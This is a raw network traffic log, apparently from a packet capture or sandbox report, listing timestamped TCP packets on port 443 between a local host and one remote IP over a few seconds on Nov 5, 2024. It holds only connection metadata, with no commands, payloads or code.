Nov 5, 2024 20:51:39.862416029 CET	443	49910	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.870302916 CET	443	49909	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.870330095 CET	443	49909	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.870377064 CET	443	49909	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.870419025 CET	49909	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.870462894 CET	49909	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.870553970 CET	49909	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.870572090 CET	443	49909	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.870588064 CET	49909	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.870594025 CET	443	49909	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.873163939 CET	49914	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.873204947 CET	443	49914	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.873373985 CET	49914	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.873497009 CET	49914	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.873506069 CET	443	49914	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.004312992 CET	443	49910	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.004379988 CET	443	49910	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.004525900 CET	49910	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.004647970 CET	49910	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.004671097 CET	443	49910	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.004695892 CET	49910	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.004703999 CET	443	49910	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.007110119 CET	49915	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.007148981 CET	443	49915	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.007221937 CET	49915	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.007364035 CET	49915	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.007379055 CET	443	49915	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.155551910 CET	443	49911	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.156336069 CET	49911	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.156363010 CET	443	49911	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.156938076 CET	49911	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.156944990 CET	443	49911	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.293715000 CET	443	49911	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.293786049 CET	443	49911	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.294038057 CET	49911	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.294076920 CET	49911	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.294076920 CET	49911	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.294097900 CET	443	49911	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.294106960 CET	443	49911	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.296750069 CET	49916	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.296834946 CET	443	49916	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.297324896 CET	49916	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.297642946 CET	49916	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.297677994 CET	443	49916	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.502783060 CET	443	49912	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.503376961 CET	49912	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.503411055 CET	443	49912	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.503918886 CET	49912	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.503922939 CET	443	49912	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.548139095 CET	443	49913	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.548599958 CET	49913	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.548625946 CET	443	49913	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.549062014 CET	49913	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.549067020 CET	443	49913	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.642236948 CET	443	49912	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.642537117 CET	443	49912	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.642606020 CET	49912	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.642646074 CET	49912	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.642663956 CET	443	49912	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.642674923 CET	49912	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.642679930 CET	443	49912	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.645251036 CET	49917	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.645291090 CET	443	49917	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.645382881 CET	49917	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.645513058 CET	49917	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.645522118 CET	443	49917	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.653522968 CET	443	49914	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.653939009 CET	49914	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.653951883 CET	443	49914	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.654349089 CET	49914	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.654354095 CET	443	49914	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.695117950 CET	443	49913	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.695195913 CET	443	49913	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.695395947 CET	49913	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.695445061 CET	49913	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.695461988 CET	443	49913	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.695477009 CET	49913	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.695482016 CET	443	49913	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.698230028 CET	49918	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.698338032 CET	443	49918	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.698436022 CET	49918	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.698606014 CET	49918	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.698638916 CET	443	49918	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.794358015 CET	443	49914	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.794456005 CET	443	49914	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.794513941 CET	49914	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.794733047 CET	49914	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.794751883 CET	443	49914	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.794765949 CET	49914	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.794770956 CET	443	49914	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.797656059 CET	49919	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.797705889 CET	443	49919	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.798012972 CET	49919	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.798194885 CET	49919	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.798207998 CET	443	49919	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.807008982 CET	443	49915	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.807480097 CET	49915	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.807501078 CET	443	49915	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.807917118 CET	49915	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.807924986 CET	443	49915	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.949050903 CET	443	49915	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.949187040 CET	443	49915	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.949232101 CET	443	49915	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.949243069 CET	49915	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.949292898 CET	49915	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.949393034 CET	49915	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.949413061 CET	443	49915	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.949421883 CET	49915	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.949428082 CET	443	49915	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.952163935 CET	49920	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.952202082 CET	443	49920	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:40.952311993 CET	49920	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.952469110 CET	49920	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:40.952477932 CET	443	49920	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.059174061 CET	443	49916	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.059660912 CET	49916	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.059684992 CET	443	49916	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.060115099 CET	49916	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.060122967 CET	443	49916	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.198936939 CET	443	49916	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.199016094 CET	443	49916	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.199060917 CET	49916	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.199186087 CET	49916	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.199202061 CET	443	49916	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.199212074 CET	49916	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.199217081 CET	443	49916	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.201631069 CET	49921	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.201674938 CET	443	49921	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.201845884 CET	49921	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.201982021 CET	49921	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.201998949 CET	443	49921	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.560528994 CET	443	49919	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.561345100 CET	49919	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.561378002 CET	443	49919	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.562035084 CET	49919	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.562041044 CET	443	49919	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.562545061 CET	443	49917	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.564205885 CET	49917	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.564213037 CET	443	49917	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.564779043 CET	443	49918	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.565526962 CET	49917	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.565534115 CET	443	49917	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.573806047 CET	49918	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.573857069 CET	443	49918	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.574296951 CET	49918	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.574305058 CET	443	49918	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.689202070 CET	443	49920	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.689728022 CET	49920	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.689754009 CET	443	49920	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.690239906 CET	49920	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.690246105 CET	443	49920	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.695516109 CET	443	49919	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.695553064 CET	443	49919	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.695609093 CET	443	49919	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.695642948 CET	49919	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.695693016 CET	49919	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.695789099 CET	49919	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.695810080 CET	443	49919	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.695821047 CET	49919	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.695826054 CET	443	49919	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.699040890 CET	49922	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.699067116 CET	443	49922	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.699166059 CET	49922	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.699317932 CET	49922	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.699326038 CET	443	49922	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.700768948 CET	443	49917	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.700798988 CET	443	49917	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.700844049 CET	49917	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.700845957 CET	443	49917	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.700881958 CET	49917	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.701044083 CET	49917	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.701054096 CET	443	49917	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.701065063 CET	49917	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.701069117 CET	443	49917	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.703804016 CET	49923	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.703841925 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.703999996 CET	49923	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.704121113 CET	49923	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.704138994 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.707052946 CET	443	49918	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.707196951 CET	443	49918	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.707252979 CET	49918	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.707304001 CET	49918	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.707321882 CET	443	49918	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.707336903 CET	49918	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.707340956 CET	443	49918	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.709377050 CET	49924	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.709408998 CET	443	49924	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.709471941 CET	49924	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.709590912 CET	49924	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.709603071 CET	443	49924	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.823956966 CET	443	49920	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.824100018 CET	443	49920	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.824237108 CET	49920	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.824311972 CET	49920	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.824318886 CET	443	49920	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.824330091 CET	49920	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.824333906 CET	443	49920	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.827090025 CET	49925	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.827142000 CET	443	49925	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:41.827264071 CET	49925	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.827423096 CET	49925	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:41.827438116 CET	443	49925	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.192775965 CET	443	49921	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.203008890 CET	49921	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.203030109 CET	443	49921	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.206639051 CET	49921	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.206646919 CET	443	49921	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.340475082 CET	443	49921	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.340508938 CET	443	49921	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.340560913 CET	443	49921	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.340698957 CET	49921	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.384536982 CET	49921	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.384562016 CET	443	49921	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.384576082 CET	49921	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.384582043 CET	443	49921	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.389234066 CET	49926	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.389276028 CET	443	49926	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.389894009 CET	49926	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.390175104 CET	49926	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.390186071 CET	443	49926	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.456022978 CET	443	49922	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.456629038 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.459136009 CET	49922	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.459157944 CET	443	49922	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.464102983 CET	49922	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.464119911 CET	443	49922	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.464360952 CET	49923	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.464375973 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.469080925 CET	443	49924	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.472706079 CET	49923	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.472711086 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.473102093 CET	49924	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.473115921 CET	443	49924	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.473850965 CET	49924	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.473855972 CET	443	49924	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.586261034 CET	443	49925	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.589903116 CET	49925	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.589929104 CET	443	49925	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.596427917 CET	49925	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.596432924 CET	443	49925	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.597716093 CET	443	49922	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.597785950 CET	443	49922	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.598371983 CET	49922	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.598613977 CET	49922	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.598629951 CET	443	49922	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.603152037 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.603174925 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.603229046 CET	49923	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.603243113 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.603749990 CET	49927	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.603779078 CET	443	49927	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.603842020 CET	49927	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.604003906 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.604012012 CET	49927	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.604022026 CET	443	49927	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.604059935 CET	49923	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.604113102 CET	49923	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.604124069 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.604132891 CET	49923	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.604137897 CET	443	49923	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.606405973 CET	49928	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.606439114 CET	443	49928	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.606642962 CET	49928	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.606800079 CET	49928	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.606812000 CET	443	49928	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.607240915 CET	443	49924	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.607256889 CET	443	49924	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.607300997 CET	443	49924	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.607319117 CET	49924	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.607343912 CET	49924	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.609647036 CET	49924	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.609658003 CET	443	49924	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.609669924 CET	49924	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.609673977 CET	443	49924	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.620168924 CET	49929	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.620198011 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.620417118 CET	49929	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.621073961 CET	49929	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.621083975 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.729969978 CET	443	49925	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.730001926 CET	443	49925	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.730051994 CET	443	49925	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.730118990 CET	49925	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.730118990 CET	49925	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.730362892 CET	49925	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.730376959 CET	443	49925	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.730390072 CET	49925	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.730393887 CET	443	49925	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.732897997 CET	49930	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.732937098 CET	443	49930	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:42.733205080 CET	49930	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.733361006 CET	49930	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:42.733371973 CET	443	49930	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.145735025 CET	443	49926	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.146226883 CET	49926	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.146249056 CET	443	49926	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.146666050 CET	49926	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.146670103 CET	443	49926	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.282063961 CET	443	49926	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.282145977 CET	443	49926	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.282202005 CET	49926	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.282727957 CET	49926	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.282747984 CET	443	49926	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.282762051 CET	49926	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.282768965 CET	443	49926	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.291578054 CET	49931	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.291627884 CET	443	49931	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.291698933 CET	49931	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.292150021 CET	49931	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.292171955 CET	443	49931	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.359360933 CET	443	49927	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.360246897 CET	49927	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.360270977 CET	443	49927	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.360897064 CET	49927	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.360902071 CET	443	49927	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.396106005 CET	443	49928	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.396693945 CET	49928	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.396727085 CET	443	49928	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.397073984 CET	49928	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.397078991 CET	443	49928	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.408087969 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.408549070 CET	49929	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.408574104 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.408931971 CET	49929	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.408937931 CET	443	49929	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.483920097 CET	443	49930	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.484679937 CET	49930	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.484695911 CET	443	49930	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.485145092 CET	49930	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.485148907 CET	443	49930	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.496665955 CET	443	49927	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.496690035 CET	443	49927	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.496738911 CET	443	49927	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.496795893 CET	49927	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.496931076 CET	49927	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.496956110 CET	443	49927	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.496968985 CET	49927	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:43.496973991 CET	443	49927	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:43.499768019 CET	49932	443	192.168.2.6	13.107.253.45
